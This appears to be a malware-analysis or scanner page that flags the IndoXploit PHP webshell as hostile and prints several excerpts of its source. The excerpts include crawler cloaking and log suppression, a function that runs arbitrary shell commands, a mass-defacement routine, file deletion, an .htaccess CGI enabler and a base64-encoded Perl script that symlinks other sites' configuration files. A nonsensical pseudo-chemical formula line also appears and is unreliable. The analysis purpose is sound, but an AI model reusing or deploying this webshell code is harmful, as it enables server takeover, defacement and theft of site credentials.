Hostile ^100% kaker-scripts Download

00ddb02763f87bc8181764fdf958a628

IndoXploit webshell with backdoors

Authenticated PHP POST command consoleAuthenticated PHP POST file manager webshell

SHA-256461f644e48e2aa787019d0e93024f877a8397d20a62445d820378b1028e2fc05

MaleculeK₂(AmTe)O₉(C₁₃PAs₂ErCaDyI₃SXe)H₇(Os₁₀Cm₂₂CrDb₆F₁₉Po₆U)Md₃(Pt)Th₂

Evidence

Names the CGI HTTP_USER_AGENT variable lines 1–31

1<?php
2session_start();
3error_reporting(0);
4set_time_limit(0);
5@set_magic_quotes_runtime(0);
6@clearstatcache();
7@ini_set('error_log',NULL);
8@ini_set('log_errors',0);
9@ini_set('max_execution_time',0);
10@ini_set('output_buffering',0);
11@ini_set('display_errors', 0);
12
13$auth_pass = "7b4939a8af28c814f0c757bb10f40d3d"; // default: IndoXploit
14$color = "#00ff00";
15$default_action = 'FilesMan';
16$default_use_ajax = true;
17$default_charset = 'UTF-8';
18if(!empty($_SERVER['HTTP_USER_AGENT'])) {
19    $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
20    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
21        header('HTTP/1.0 404 Not Found');
22        exit;
23    }
⋯8 lines

Checks PHP shell_exec availability lines 203–241

⋯4 lines
}
208}
209function exe($cmd) {
if(function_exists('system')) { 		
@ob_start(); 		
@system($cmd); 		
$buff = @ob_get_contents(); 		
@ob_end_clean(); 		
return $buff; 	
} elseif(function_exists('exec')) { 		
@exec($cmd,$results); 		
$buff = ""; 		
foreach($results as $result) { 			
	$buff .= $result; 		
} return $buff; 	
} elseif(function_exists('passthru')) { 		
@ob_start(); 		
@passthru($cmd); 		
$buff = @ob_get_contents(); 		
@ob_end_clean(); 		
return $buff; 	
} elseif(function_exists('shell_exec')) { 		
$buff = @shell_exec($cmd); 		
return $buff; 	
} 
232}
233function perms($file){
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
⋯5 lines

References the PHP scandir() function lines 484–499

7… if($_GET['do'] == 'mass_deface') {
function sabun_massal($dir,$namafile,$isi_script) {
if(is_writable($dir)) {
	$dira = scandir($dir);
	foreach($dira as $dirb) {
		$dirc = "$dir/$dirb";
		$lokasi = $dirc.'/'.$namafile;
		if($dirb === '.') {
			file_put_contents($lokasi, $isi_script);
		} elseif($dirb === '..') {
			file_put_contents($lokasi, $isi_script);
⋯5 lines

Calls PHP unlink() lines 557–570

9… c = "$dir/$dirb";
		$lokasi = $dirc.'/'.$namafile;
		if($dirb === '.') {
			if(file_exists("$dir/$namafile")) {
				unlink("$dir/$namafile");
			}
		} elseif($dirb === '..') {
⋯7 lines

Calls PHP fwrite() lines 597–603

105… cation/x-httpd-cgi .cin\nAddHandler cgi-script .cin\nAddHandler cgi-script .cin";
$htc = fopen("idx_config/.htaccess","w");
fwrite($htc, $isi_htc);
fclose($htc);
if(preg_match("/vhosts|vhost/", $dir)) {
$link_config = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
$vhost = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpvcGVuZGlyKG15ICRkaXIgLCAiL3Zhci93d3cvdmhvc3RzLyIpOw0KZm9yZWFjaChzb3J0IHJlYWRkaXIgJGRpcikgew0KICAgIG15ICRpc0RpciA9IDA7DQogICAgJGlzRGlyID0gMSBpZiAtZCAkXzsNCiRzaXRlc3MgPSAkXzsNCg0KDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLXNob3AudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvb3MvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLXNob3Atb3MudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvb3Njb20vaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLW9zY29tLnR4dCcpOw0Kc3ltbGlu …